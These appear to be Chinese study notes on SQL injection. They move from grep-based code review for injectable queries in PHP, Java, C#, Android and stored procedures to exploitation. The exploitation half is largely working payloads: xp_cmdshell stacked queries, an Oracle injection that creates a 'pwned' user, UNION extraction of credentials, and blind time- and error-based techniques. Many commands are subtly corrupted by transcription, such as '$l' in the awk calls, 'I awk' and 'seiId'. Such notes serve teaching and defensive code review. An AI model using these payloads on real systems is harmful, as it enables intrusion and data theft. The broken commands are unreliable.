$ grep -r -n "\$input=.*\$.*" src/ | awk -F:	'{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

理想结果

filename: src/SQLi.MySQL.vulnerable.php
line: 10
match: $input = $_POST['name'];

但是还是不能断定存在SQL注入,因为可以存在对$input的过滤

$ grep -r -n "\$input" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

得到

filename: src/SQLi.MySQL.vulnerable.php
line: 11
match: if (is_string($input))	{
filename: src/SQLi.MySQL.vulnerable.php
line: 12
match: if (strlen($input) < $maxlength){
filename: src/SQLi.MySQL.vulnerable.php
line: 13
match: if (ctype_alnum($input))	{

经过对过滤函数的分析,就能判断是否存在SQL注入

跟踪Java中的数据

在Java源文件的目录中,寻找是否存在使用了 prepareStatement()、 executeQuery()、executeUpdate()、addBatch()和 executeBatch()的文件

$ grep -r -n "preparedStatement(\|executeQuery(\|executeUpdate(\|exe cute(\|addBatch(\|executeBatch(" src/ | awk -F:	'{print "filename:"$l"\nline: "$2"\nmatch: "$3"\n\n"}'

获得

filename: src/SQLVuln.java
line: 89
match: ResultSet rs = statement.executeQuery(sql);
filename: src/SQLVuln.java
line: 139
match: statement.executeUpdate(sql);
filename: src/SQLVuln.java
line: 209
match: ResultSet rs = statement.executeQuery("
SELECT field FROM table WHERE field = " +
request.getParameter("input"));

209行input是用户直接通过表单提交输入,存在SQL注入

还需对89,139行的sql进行跟踪判断是否被污染

$ grep - i -r -n "sql =.*\"\(SELECT\|UPDATE\|INSERT\|DROP\)" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
filename: src/SQLVuln.java
line: 88
match: String sql = ("SELECT field FROM table WHERE field = " + request.getParameter("input"));
filename: src/SQLVuln.java
line: 138
match: String sql = ("INSERT INTO table VALUES field = (" +
request.getParameter ("input") + ") WHERE field = " + request. getParameter ("more-input") + ");

和前面一样,也存在SQL注入

找到渗入源

$ grep -r -n "getParameter(\|getParameterValues(\|getQueryString (\|getHeader(\|getHeaders(\|getRequestedSessionld(\|getCookies(\|getValue(" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
跟踪C#中的数据

在一个C#源文件的目录中,寻找使用了 SqlCommand()、SqlParameter()、OleDbCommand()、OleDbParameter()、OracleCommand()、OracleParameter() 、OdbcCommand()和 OdbcParameter()的位置

$ grep -r -n "SqlCommand(\|SqlParameter(\|OleDbCommand(\|OleDbParam eter(\|OracleCommand(\|OracleParameter(\|OdbcCommand(\|OdbcParameter(" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
filename: src/SQLiMSSQLVuln.cs
line: 29
match: SqlCommand command = new SqlCommand("SELECT ★ FROM table WHERE field = '" + request.getParameter("input") + "'",conn);
filename: src/SQLiOracleVuln.cs
line: 69
match: OracleCommand command = new OracleCommand(sql, conn);

29行input是用户直接通过表单提交输入,存在SQL注入

还需对69行的sql进行跟踪判断是否被污染

$ grep -i -r -n "sql =.*\" \(SELECT\|UPDATE\|INSERT\|DROP\)" src/ I awk -F:	'{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'
filename: src/SQLiOracleVuln.cs
line: 68
match: String sql = "SELECT * FROM table WHERE field = '" + request.getParameter("input") + "'";

和前面一样,也存在SQL注入

找到渗入源

$ grep -r -n "HttpCookieCollection\|Form\|Headers\|Params\|QuerySt ring\|Servervariables\|Url\|UserAgent\|UserHostAddress\|UserHostName" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

复查Android应用程序代码

工具

WebContentResolver,它可以运行在Android设备(或模拟器)上,并向 所有已安装的内容提供程序暴露Web Service接口。

dex2jar这样的工具可以轻而易举地将Android应用程序的包文件(APK) 转换为Java Archive (JAR)文件。然后,可以采用某种Java反汇编程序 比如jdgui或 jad,反编译应用程序并查看源代码。

危险函数

Android开发人员使用两个类与SQLite数据库进行交互:SQLiteQueryBuilder类和 SQLiteDatabase类。android.database.sqlite.SQLiteQueryBuilder 是一个便捷类,用于创建发送给SQLiteDatabase对象的SQL查询android.database.sqlite.SQLiteDatabase 类 则提供了用于管理 SQLite 数据库的各种方法。

//android.database.sqlite.SQLiteQueryBuilder
//构造一条SELECT语句,该语句适合作为buildUnionQuery中通过UNION操作符连接的语句组中的SELECT语句
buildQuery(String[] projectionIn, String selection, String groupBy, String having, String sortOrder, String limit)
//用指定的子句构造一个SQL查询字符串
buildQueryString(boolean distinct, String tables, String[] columns. String where. String groupBy, String having, String orderBy, String limit) 
//给定一组子查询,其中每一个都是SELECT语句,构造一个union所有这些子查询返回结果的查询 
buildUnionQuery(String[] subQueries, String sortOrder, String limit)
//构造一条SELECT语句,该语句适合作为buildUnionQuery中通过UNION操作符连接的语句组中的SELECT语句
buildUnionSubQuery(String typeDiscriminatorColumn, String[] unionColumns, Set<String> columnsPresentInTable, int computedColumnsOffset, String typeDiscriminatorValue, String selection, String groupBy, String having)
//结合所有当前设置和传递给该方法的信息,这些一个查询
query(SQLiteDatabase db, String[] projectionin, String selection, String[] selectionArgs, String groupBy, String having, String sortOrder, String limit)
//android.database.sqlite.SQLiteDatabase
//在数据库中删除行的简便方法
delete(String table, String whereClause, String[] whereArgs)
//执行单个SQL语句,该SQL语句既不是SELECT语句,也不是任何其他返回数据的SQL语句 
execSQL(String sql)
//执行单个SQL语句,该SQL语句不是SELECT/INSERT/UPDATE/DELETE语句
execSQL(String sql. Object[] bindArgs)
//向数据库插入一行数据的便捷方法
insert(String table, String nullColumnHack,Contentvalues values)
//向数据库插入一行数据的便捷方法
insertOrThrow(String table, String nullColumnHack,Contentvalues values)
//向数据库插入一行数据的通用方法
insertWithOnConflict(String table, String nullColumnHack, Contentvalues initialvalues, int conflictAlgorithm)
//查询指定的表,返回结果集上的一个游标(Cursor)
query(String table, String[] columns, String selection, String[] selectionArgs, String groupBy, String having, String orderBy,String limit)
//查询指定的URL,返回结果集上的一个游标
queryWithFactory(SQLiteDatabase.CursorFactory cursorFactory, boolean distinct, String table, String[] columns, String selection. String[] selectionArgs, String groupBy, String having. String orderBy, String limit) 
//运行指定的SQL语句,返回结果集上的一个游标
rawQuery(String sql, String[] selectionArgs)
//运行指定的SQL语句,返回结果集上的一个游标
rawQueryWithFactory(SQLiteDatabase.CursorFactory cursorFactory,
String sql, String[] selectionArgs, String editTable)
//替换数据库中数据行的便捷方法
replace(String table, String nullColumnHack, Contentvalues initialvalues) 
//替换数据库中数据行的便捷方法
replaceOrThrow(String table, String nullColumnHack, Contentvalues initialValues)
//更新数据库中数据行的便捷方法
update(String table, Contentvalues values, String whereClause,String[] whereArgs)
//更新数据库中数据行的便捷方法
updateWithOnConflict(String table, Contentvalues values, String whereClause, String[] whereArgs, int conflictAlgorithm)
跟踪数据

通过shell命令在源文件中查找上述类方法

$ grep -r -n "delete(\|execSQL(\|insert(\|insertOrThrow(\|insertWithO nConflict(\|query(\|queryWithFactory(\|rawQuery(\|rawQueryWithFacto ry(\|replace(\|replaceOrThrow(\|update(\丨 updateWithOnConflict(\|buildQuery(\|buildQueryString(\|buildUnionQuery(\|buildUnionSubQuery(\ | query(" src/ | awk -F: '{print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

搜索包含动态SQL语句的字符串

$ grep -i -r -n "String.*=.*\"\(SELECT\|UPDATE\|INSERT\|DROP\)" src/ | awk -F: '(print "filename: "$l"\nline: "$2"\nmatch: "$3"\n\n"}'

示例

$ svn checkout http://android-sap-note-viewer.googlecode.com/svn/trunk/sap-note-viewer
$ grep -r -n "delete(\|execSQL(\|insert(\|insertOrThrow(\|insertWithOnConflict(\|query(\|queryWithFactory(\|rawQuery(\|rawQueryWithFactory(\|replace(\|replaceOrThrow(\|update(\|updateWithOnConflict(\|buildQuery(\|buildQueryString(\|buildUnionQuery(\|buildUnionSubQuery(\ | query(" sap-note-viewer/ | awk -F:	'{print nfilename: "$l"\nline: "$2"\
nmatch: "$3"\n\n"}'
filename: sap-note-viewer/SAPNoteView/src/org/sapmentors/sapnoteview/db/SAPNoteProvider.java
line: 106
match: public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
filename: sap-note-viewer/SAPNoteView/src/org/sapmentors/sapnoteview/db/SAPNoteProvider.java
line: 121
match: Cursor c = qBuilder.query(db, projection, selection, selectionArgs, null, null, sortOrder);

源码

@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteQueryBuilder qBuilder = new SQLiteQueryBuilder();
qBuilder.setTables(DATABASE_TABLE);
//如果搜索为空,就添加一个通配符,在内容之前和之后添加通配符
if(selectionArgs!=null && selectionArgs[0].length()==0){
selectionArgs[0] ="%";
}
else if (selectionArgs!=null && selectionArgs[0].length()>0){
selectionArgs [0] = "%" +selectionArgs [0] + "%";
}
//将内部字段映射到SearchManager理解的字段
qBuilder.setProjectionMap(NOTE_PROJECTION_MAP);
SQLiteDatabase db = dbHelper.getReadableDatabase(〉;
//执行査询
Cursor c = qBuilder.query(db, projection, selection, selectionArgs,null, null, sortOrder); return c;
}

WebContentResolver向所有己经安装的内容提供程序(Content-Provider)暴露了一个Web Service接口。可以用WebContentResolver实用工具列出所有可访问的内容提供程序。

$ curl http://127.0.0.1:8080/list
package: org.sapmentors.sapnoteview
authority: org.sapmentors.sapnoteview.noteprovider
exported: true
readPerm: null
writePerm: null

执行查询

$ curl http://127.0.0.1:8080/query?a=org.sapmentors.sapnoteview.noteprovider?&selName=_id&seiId=11223
Query successful:
Column count: 3
Row count: 1
I	_id | suggest_text_l | suggest_intent_data
I 11223 | secret text 丨 11223

#实际SQL语句
#SELECT _id, title AS suggest_text_l, _id AS suggest_intent_data FROM notes WHERE (_id=11223)

执行注入

$curl http://127.0.0.1:8080/query?a=org.sapmentors.sapnoteview, noteprovider?&selName=_id&selId=l1223%20or%201=1
Query successful:
Column count: 3
Row count: 4
| _id | suggest_text_l |suggest_intent_data
| 11223 | secret text | 11223
| 12345 | secret text | 12345
| 54321 | super secret text | 54321
| 98765 | shhhh secret | 98765

#实际SQL语句
#SELECT _id, title AS suggest_text_l, _id AS suggest_intent_data FROM notes WHERE (_id=11223 or 1=1)

selName和selId这两个参数易感染,存在SQL注入

复查PL/SQL和T-SQL代码

PL/SQL

Oracle一直深受多种PL/SQL注入漏洞的困扰,这些漏洞位于数据库产品默认安装的内置数据库包的代码中。PL/SQL代码以definer权限执行,是提升权限的攻击者攻击对象。

存储过程既能够以调用者权限(authid current_user)运行,也能够以存储过程所有者权限 (authid definer)运行。创建存储过程时,可以使用authid子句指定该行为。

要分析PL/SQL有两种选择

一种是将源代码从数据库导出来

可以使用dbms_metadata包实现该目标,可以使用下面SQL*Plus脚本将DDL(Data Definition Language,数据定义语言)语句从Oracle数据库导出来。DDL语句是定义或修改数据结构(比如 表)的SQL语句。

-- Purpose: A PL/SQL script to export the DDL code for all database objects ——Version: v 0.0.1
-- Works against: Oracle 9i, lOg and llg
-- Author: Alexander Kornbrust of Red-Database-Security GmbH
set echo off feed off pages 0 trims on term on trim on linesize 255 long 500000 head off
--
execute DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_
TRANSFORM, 'STORAGE',false);
spool getallunwrapped.sql
select 'spool ddl_source_unwrapped.txt' from dual;
-- create a SQL scripts containing all unwrapped objects
select 'select dbms_metadata.get_ddl('''||object_type||''','''||object_name||''','''||owner||''') from dual;'
from (select * from all_objects where object_id not in(select o.obj# from source$ s, obj$ o,user$ u where ((lower(s.source) like '%function%wrapped%') or (lower (s.source) like '%procedure%wrapped%') or (lower(s.source) like '%package%wrapped%')) and o.obj#=s .obj# and u.user#=o.owner#)) where object_type in ('FUNCTION',	'PROCEDURE', 'PACKAGE', 'TRIGGER')
and owner in ('SYS') 
order by owner,object_type,object_name;
-- spool a spool off into the spool file.
select 'spool off' from dual;
spool off
--
-- generate the DDL_source
@getallunwrapped.sql
quit
另一种是构造自己的SQL语句来搜索PL/SQL代码

Oracle在 ALL_SOURCE和DBA_SOURCE视图中存储PL/SQL源代码。可以通过访问两个视图之一的TEXT列实现该目的。最值得关注的是使用了execute immediate或dbms sql函数的代码。Oracle的PL/SQL是区分大小写的,一定要在查询中使用lower(text)函数,它会将文本值转换为小写字母以便LIKE语句能匹配所有可能的情况。

使用下列SQL语句来获取PL/SQL代码的源

SELECT owner AS Owner, name AS Name, type AS Type, text AS Source FROM dba_source WHERE ((LOWER(Source) LIKE '%immediate%') OR (LOWER(Source) LIKE '%dbms_sql')) AND owner= 'PLSQL';

这三条语句易受到攻击,未验证的参数传给了危险的函数

寻找参数复制给局部定义的变量

SELECT owner AS Owner, name AS Name, type AS Type, text AS Source FROM dba_source where lower(Source) like '%:=%||%''%';

上述SQL语句找到了一个利用用户控制的数据动态创建SQL语句的包。我们有必要对该包做进一步审查,可以使用下列SQL语句追溯包(package)的源以便进一步审查其内容

SELECT text AS Source FROM dba_source WHERE name='SP_STORED_PROCEDURE' AND owner='SYSMAN' order by line;

input直接与SQL字符串相连,可以判断存在SQL注入

搜索数据库中所有的代码

-- Purpose: A PL/SQL script to search the DB for potentially vulnerable 
-- PL/SQL code- Version: v 0.0.1
-- Works against: Oracle 9i, 10g and llg
——Author: Alexander Kornbrust of Red-Database-Security GmbH
select distinct a.owner,a•name,b.authid,a.text SQLTEXT from all_source a,all_procedures b
where (
lower(text) like '%execute%immediate%(%||%)%'
or lower(text) like '%dbms_sql%'
or lower(text) like '%grant%to%'
or lower(text) like '%alter%user%identified%by%'
or lower(text) like '%execute%immediate%''%||%'
or lower(text) like '%dbms_%utility.exec_ddl_statement%'
or lower(text) like '%dbms_ddl.create_wrapped%'
or lower(text) like '%dbms_hs_pass_through.execute_immediate%'
or lower(text) like '%dbms_hs_passthrough.parse%'
or lower(text) like '%owa_util.bind_variables%'
or lower(text) like '%owa_util.listprint%'
or lower(text) like '%owa_ util.tableprint%'
or lower(text) like '%dbms_sys_sq1.%'
or lower(text) like '%ltadm.execsql%'
or lower(text) like '%dbms_prvtaqim.execute_stmt%'
or lower(text) like '%dbms_streams_rpc.execute_stmt%'
or lower(text) like '%dbms_aqadm_sys.execute_stmt%'
or lower(text) like '%dbms_streams_adm_utl.execute_ sql_ string%'
or lower(text) like '%initjvmaux.exec%'
or lower(text) like '%dbms_repcat_sql_utl.do_sql%'
or lower(text) like '%dbms_aqadm_syscalls.kwqa3_gl_executestmt%'
and lower(a.text) not like '% wrapped%' and a.owner=b.owner and a.name=b.obj ect_name and a.owner not in
('OLAPSYS', 'ORACLE_OCM', 'CTXSYS', 'OUTLN', 'SYSTEM', 'EXFSYS', 'MDSYS','SYS','SYSMAN','WKSYS','XDB','FLOWS_040000','FLOWS_030000', 'FLOWS_030100',	'FLOWS_020000','FLOWS_020100','FLOWS020000',
'FLOWS_010600','FLOWS_010500','FLOWS_010400')
order by 1,2,3
T-SQL

sp_helptext存储过程会显示用于在多行中创建对象的定义。每一行均包含了 T-SQL 定义的255个字符。该定义位于sys.sql_modules目录视图的definition列中。

一个储存过程源代码

EXEC sp_helptext SP_StoredProcedure;
CREATE PROCEDURE SP_StoredProcedure @input varchar(400) = NULL AS DECLARE @sql nvarchar(4000)
SELECT @sql = 'SELECT field FROM table WHERE field ='''+ @input + '''' 
EXEC (@sql)

可以看到@input变量来自用户直接输入与SQL字符串相连,产生SQL注入

使用sp_executesql和EXEC()两条命令来调用动态SQL,sp_executesql是一个内置存储过程,接收两个预定义的参数和任意多个用户定义参数。第一个参数@stmt是强制参数,包含一条或一批 SQL语句。在SQL 7和SQL 2000中,@stmt的数据类型是ntext,在SQL Server 2005及之后 的版本中是nvarchar(MAX)。第二个参数@params是可选参数。EXEC()接收一个参数,该参数是一条要执行的SQL语句。它可以由字符串变量和字符串常量连接而成。

下面是一个使用了 sp_executesql存储过程且易受到攻击的存储过程示例

EXEC sp_helptext SP_StoredProcedure_II;
CREATE PROCEDURE SP_StoredProcedure_II (@input nvarchar(25))
AS
DECLARE @sql nvarchar(255)
SET @sql = 'SELECT field FROM table WHERE field ='''+ @input +'''' 
EXEC sp_executesql @sql

列出所有储存过程

SELECT name FROM dbo.sysobjects WHERE type ='P' ORDER BY name asc

利用脚本找到所有储存过程

-- Description: A T-SQL script to search the DB for potentially vulnerable 
-- T-SQL code
-- @text - search string '%text%'
-- @dbname - database name, by default all databases will be searched
ALTER PROCEDURE [dbo].[grep_sp]@text varchar(250),
@dbname varchar(64) = null
AS BEGIN
SET NOCOUNT ON;
if @dbname is null
begin
-- enumerate all databases.
DECLARE #db CURSOR FOR Select Name from master...sysdatabases declare 0c_dbname varchar(64)
OPEN #db FETCH #db INTO @c_dbname
while @@FETCH_STATUS <> -1
begin
execute grep_sp @text, @c_dbname
FETCH #db INTO @c_dbname
end
CLOSE #db DEALLOCATE #db
end
else
begin
declare @sql varchar(250)
-- create the find like command
select @sql = 'select ''' + @dbname + ''' as db, o.name,m.definition'
select @sql = @sql + 'from '+@dbname+'.sys.sql_modules m ' 
select @sql = @sql + 'inner join '+@dbname+'...sysobjects o on
m.object_id=o.id'
select @sql = @sql + 'where [definition] like ''%'+@text+'%''' 
execute (@sql)
end
END

调用储存过程

execute grep_sp 'sp_executesql';
execute grep_sp 'EXEC';

列出SQL Server 2008数据库中所有的存储过程

SELECT name FROM sys.procedures ORDER BY name asc

脚本

DECLARE @name VARCHAR(50) -- database name
DECLARE db_cursor CURSOR FOR
SELECT name FROM sys.procedures;
OPEN db_cursor
FETCH NEXT FROM db_cursor INTO @name
WHILE @@FETCH_STATUS = 0
BEGIN
print @name
-- uncomment the line below to print the source
-- sp_helptext '' + @name + ''
FETCH NEXT FROM db_cursor INTO @name
END
CLOSE db_cursor
DEALLOCATE db_cursor

mysql获取储存过程

show procedure status;#列出一系列储存过程
show create procedure sp_name;#列出sp_name的源代码

自动复查源代码

Graudit

下载: graudit (justanotherhacker.com)

规则

pg_query\s*\(.*\$.*\)
pg_exec\s*\(.*\$.*\)
pg_send_query\s*\(.*\$.*\)
pg_send_query_params\s*\(.*\$.*\)
pg_query_params\s*\(.*\$.*\)
pg_send_prepare\s*\(.*\$.*\)
pg_prepare\s*\(.*\$.*\)
pg_execute\s*\(.*\$.*\)
pg_insert\s*\(.*\$.*\)
pg_put_line\s*\(.*\$.*\)
pg_select\s*\(.*\$.*\)
pg_update\s*\(.*\$.*\)

YASCA

Pixy

mysql_db_query SQL injection configuration file for user-defined sink sinkType = sql
mysql_db_query = 0

AppCodeScan

.NET

#Scanning for SQL injections
.*.SqlCommand.*?|.*.DbCommand.*?|.*.OleDbCommand.*?|.*.SqlUtility.*?|.*.OdbcCommand.*?|.*.OleDbDataAdapter.*?|.*.SqlDataSource.*?

OWASP LAPSE+项目

Microsoft SQL注入源代码分析器

CAT.NET

RIPS——PHP脚本漏洞的静态源代码分析器

CodePro AnalytiX

Teachable Static Analysis Workbench

商业源代码复查工具

Fortify源代码分析器

Rational AppScan Source Edition

CodeSecure

Klocwork Solo

利用SQL注入

常见的漏洞利用技术

本章大多用这个示例

http://sql/Less-2/?id=1

使用堆叠注入

堆叠查询(stacked query)指的是在单个数据库连接中执行多个查询序列,使用不同的数据库和不同的web框架,对堆叠查询支持情况也不同,使用ASP.NET和PHP访问Microsoft SQL Server时允许堆叠查询,但如果使用Java来访问,就不允许。使用PHP访问PostgreSQL时, PHP允许堆叠查询,但如果访问MySQL, PHP不允许堆叠查询。

http://www.victim.com/products.asp=id=l;exec+master..xp_cmdshell+'dir'

在Web应用程序中利用Oracle漏洞

Oracle SQL语法不支持堆叠查询,PL/SQL是内置在Oracle中的,它拓展了SQL并允许执行堆叠的命令,使用一个匿名PL/SQL块,它包含在一条BEGIN语句与一条END语句之间,是一个自由编写的PL/SQL块。

SQL>DECLARE
MESG VARCHAR2 (200);
BEGIN
MESG:='HELLO WORLD';
DBMS_OUTPUT.PUT_LINE(MESG);
END;

Oracle默认安装了两个允许执行匿名PL/SQL块的函数

dbms_xmlquery.newcontext() dbms_xmlquery.getxml()

public用户默认允许访问这两个函数,所以可以使用这两个函数来执行DML/DDL语句块,形成SQL注入

http://www.victim.com/index.jsp?id=l and (select dbms_xmlquery.newcontext('declare PRAGMA AUT0N0M0US_TRANSACTI0N; begin execute immediate '' create user pwned identified by pwn3d ''; commit; end;') from dual) is not null -- 

识别数据库

ASP和.NET通常使用Microsoft SQL Server 作为后台数据库,而PHP应用则很可能使用MySQL或PostgreSQL。如果应用是用Java编写的,那么使用的可能是Oracle或MySQL。此外,底层操作系统也可以提供一些线索:安装 IIS(Intemet信息服务器)作为服务器平台标志着应用是基于Windows的架构,后台数据库很可能是SQLServer。而运行Apache和PHP的Linux服务器则很可能使用的是开源数据库,比如 MySQL或PostgreSQL。

非盲跟踪

查询使用的数据库服务器技术不同,这条SQL产生的错误也会不同,可以根据这些不同判断出数据库类型。

下面是常见的报错

  • mssql

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsof][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark after the character
    string".
    /products.asp,line 33
  • mysql

    ERROR 1064 (42000) : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
    near' 'at line 1
  • oracle

    ORA-01773:may not specify column datatypes in this CREATE TABLE
  • postgreSQL

    pg_query(): Query failed: ERROR: unterminated quoted string at or near at character 69 in /var/www/php/somepge.php on line 20
获取标志信息
数据库服务器 查询
MSSQL select @@version
Mysql select version()
select @@version
Oralce select banner from v$version
select banner from v$version where rownum=1
PostgreSQL select version()
  • mssql
http://www.victim.com/products.asp?id=@@version

数据库将传入的@@version当做数字型解析产生报错

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the
nvarchar value 'Microsoft SQL Server 2005-9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)'to data type int.
/products.asp.line 33

这段错误代码表明了数据库为SQL Server 2005,补丁Service Pack 2

  • PostgreSQL
PostgreSQL 9.1.1 on i686-pc-linux-gnu, compiled by i686-pc-linuxgnu- gcc (Gentoo Hardened 4.4.5 pl.2, pie-0.4.5, 32-bit)

同样返回了很多底层的信息

使用具有标志性的字符串或者语句注入,在返回结果(报错结果)中寻找改字符串或者语句的执行结果,如果找到了,这儿就可以作为注入点。

SQL Server内置变量

@@version:数据库服务器版本。
@@servemame:安装SQL Server的服务器名称。
@@language:当前所使用语言的名称。
@@spid:当前用户的进程ID。
可以使用下列查询获取详细的版本信息:
SELECT SERVERPROPERTYCproductversion’):例如100.1600.22SELECT SERVERPROPERTY('productlevel'):例如 RTM。
SELECT SERVERPROPERTY('edition'):例如 Enterprise。
EXEC master..msver:更多详细信息,包括处理器数量、处理器类型、物理内存等。

盲追踪

应用不会返回信息时,利用不同数据库使用SQL语法不同产生的差异来判断数据库类型。

连接字符串的方式

用不同的支付串连接方式注入,通过原始请求返回结果对比,若相同,则为对应数据库。

数字函数

相当于不同数据库的特征值,原理和前面相似

例如,成功注入WAITEOR DELAY,表明数据库是mssql,成功注入select pg_sleep(10),表明数据库是PostgreSQL

Mysql精确确定版本

/* !版本号 语句*/若数据库版本号高于或等于!后面的,就会执行语句

select 1 /* !40119 + 1*/
-- 2(如果MySQL版本为4.01.19或更高版本)
-- 1(其他情况)

使用UNION语句提取数据

SELECT column-1,column-2,...,column-N FROM table-1
UNION
SELECT column-1,column-2,...,column-N FROM table-2
-- 去除重复值
UNION ALL-- 重复的也显示

返回有这两张表或者两个查询得到的数据

匹配列

满足要求

  • 两个查询的列数必须相同
  • 两个select对应列返回的数据类型是兼容的

如果无法满足这两个条件就会查询失败并返回一个错误,下面是一些数据库返回的错误

要得到正确的列数,两种方法

  • 每次增加列数,不断尝试

    NULL值会转化为其他任何数据类型,这样能避免因数据类型不同而产生错误。

    mysql

    http://test/?id=12+union+select+null-- 
    http://test/?id=12+union+select+null,null-- 
    http://test/?id=12+union+select+null,null,null-- 

    oracle要求每个select必须带from,使用dual(所用用户都能访问)表

    http://test/?id=12+union+select+null+from+dual-- 
  • 使用order by字句

    http://sql/Less-2/?id=12+order+by+1
    http://sql/Less-2/?id=12+order+by+2
    http://sql/Less-2/?id=12+order+by+3
    -- etc

    若3报错了,2未报错,那么就是两列

    相对下,第二种更优,可以使用二分查找

匹配数据类型

假设需要查询一个字符串值,利用一个支付串值一个一个依次替换NULL值,只要不报错,就能确定位置。

http://test/?id=12+union+select+' test',NULL,NULL,NULL 
http://test/?id=12+union+select+NULL,'test',NULL,NULL 
http://test/?id=12+union+select+NULL,NULL,'test',NULL 
http://test/?id=12+union+select+NULL,NULL,NULL,'test'

有些数据库不能使用NULL,只能暴力破解,使用自动化工具

假设最后一个位置是字符串值,便可以开始检索想要获得的值

http://test/?id=12+union+select+NULL,version(),NULL,NULL
-- 获取版本

也可以连接多条语句返回多条信息

http://test/?id=12+union+select+NULL,concat(version(),0x7e,database()),NULL

如果想要检索的不是字符串字,却只有支付串值的字段,可以使用强制转换为字符串

PostgreSQL允许使用||连接字符串,只要有一个变量是字符串即可作为字符串值

只返回一条结果

http://sql/Less-2/?id=12 union select NULL,username,password from users
-- 正常来说这条语句可以返回表中所有数据,但是有时只会返回一条数据
http://sql/Less-2/?id=1 and 1=0 union select NULL,username,password from users
-- 将前面的查询拼凑成永假式,将返回后面的第一个结果
http://sql/Less-2/?id=0 union select NULL,username,password from users limit 1,1 -- 
-- 加一个限制条件返回第二条数据,where也行

使用条件语句

构建条件语句,条件语句的执行结果强迫服务器返回不同的结果,由结果的状态来判断条件是否为真

基于时间

基于Web应用响应时间上的差异,该时间取决于某些信息的值。

mssql
select @@version;
Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
Feb 9 2007 22:47:07
Copyright (c) 1988-2005 Microsoft Corporation 
Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
http://test/?id=12;if+(system_user='sa')+WAITFOR+DELAY+'0:0:5'-- 
-- 若system_user用户是系统管理员账户'sa',则会执行后面的waitfor delay函数,页面延迟5s
IF (substring((select @@version),25,1) = 5) WAITFOR DELAY '0:0:5'-- 
-- 截取@@version的第25个字符是否为5,为5就是2005数据库,并且延迟返回

跑个脚本能把这一整段跑出来,精确判断,判断补丁,利用补丁攻击

SQL Server Version - SQLTeam.com

如果有管理员权限,可以使用xp_cmdshell扩展储存过程来产生延迟,它通过加载一条需要花费特定秒数的命令来实现。

启用xp_cmdshell

-- sql server 2005 2008
EXEC sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell*',1;
-- sql server 2000
exec master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'
-- ping回路5s
mysql
select benchmark(1000000,sha1('blah'));
-- 执行后面的语句1000000次
select sleep(5);
-- 睡眠5s 配合if使用
PostgreSQL
select pg_sleep(5);
-- unix
CREATE OR REPLACE FUNCTION sleep (int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep(10);
oracle
select utl_http.request (' http://10.0.0.1/ ') from dual; select HTTPURITYPE(' http://10.0.0.1/ ').getclob() from dual;
-- 使用UTL HTTP或HTTPURITYPE向一个'死的'IP地址发送一个HTTP请求查询将一直等待连接直到超时
SELECT decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objects,all_objects,all_objects),0)
-- 笛卡尔积

基于错误

返回两种状态,其中一种状态是错误

sql server

http://test/?id=12/is_srvrolemember('sysadmin')

is_srvrolemember()是SQL Server T-SQL的一个函数,返回

1:如果用户属于指定的组。
0:如果用户不属于指定的组。
NULL:如果指定的组不存在。

意思很明确,返回1的话就会拼接成12/1,id=12会返回结果,0则报错,具体报错不深究

case语句也能这样使用,堆叠不能用它都能用

http://test/?id=12/(case+when+(system_user='sa')+then+1+else+0+end)

http://sql/Less-2/?id=12/(if(1=1,1,0))

http://sql/Less-2/?id=12/(case 1 when 1 then 1 else 0 end)

基于内容

执行语句返回内容和不执行返回的内容不同,相比于基于时间,基于错误会更快,基于内容不会产生错误,有点不言而喻。

http://sql/Less-2/?id=10%2B(if(1=1,1,0))
-- 若成功执行if语句,就会返回id=11的结果,对比10不同

处理字符串

前面介绍的都是数值上的技术,这段介绍字符上的技巧

http://test/?id=12
-- 正常查询,id=13时结果为空,sql语句为
select * from users where id='12'
http://test/?id=1'%2B'2
-- 结果和上面相同,因为连接成了12

这时可以将char()函数放在2的位置测试

http://test/?id=1'%2Bchar(50)'

select * from users where id='1'+char(50)'

执行结果和前面相同,这是可以将条件语句插入2的位置

http://test/?id=1'%2Bchar(49%2B(case+when+(system_user+=+'sa')+then+l+else+0+end))'

-- 如果是sa执行后id=13,不是则id=12

根据结果的不同可以判断条件

拓展攻击

简而言之,不在局限于判断sa用户了,而是得到所有信息,先得到用户名长度

http://test/?id=12/(case+when+(len(system_user)+>+16)+then+1+else+0+end)
http://test/?id=12/(case+when+(len(system_user)+>+12)+then+1+else+0+end)
http://test/?id=12/(case+when+(len(system_user)+>+10)+then+1+else+0+end)
-- 二分查找,错误和成功的交界就是正确的值

接下一次查找组成用户名的每个值

http://test/?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+64)+then+1+else+0+end)
-- 二分查找

这些过程一般都交给自动化脚本

利用SQL注入错误

将检索的信息注入进报错信息中

http://www.victim.com/products.asp?id=system_user
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'appdbuser' to data type int.
/products.asp, line 33

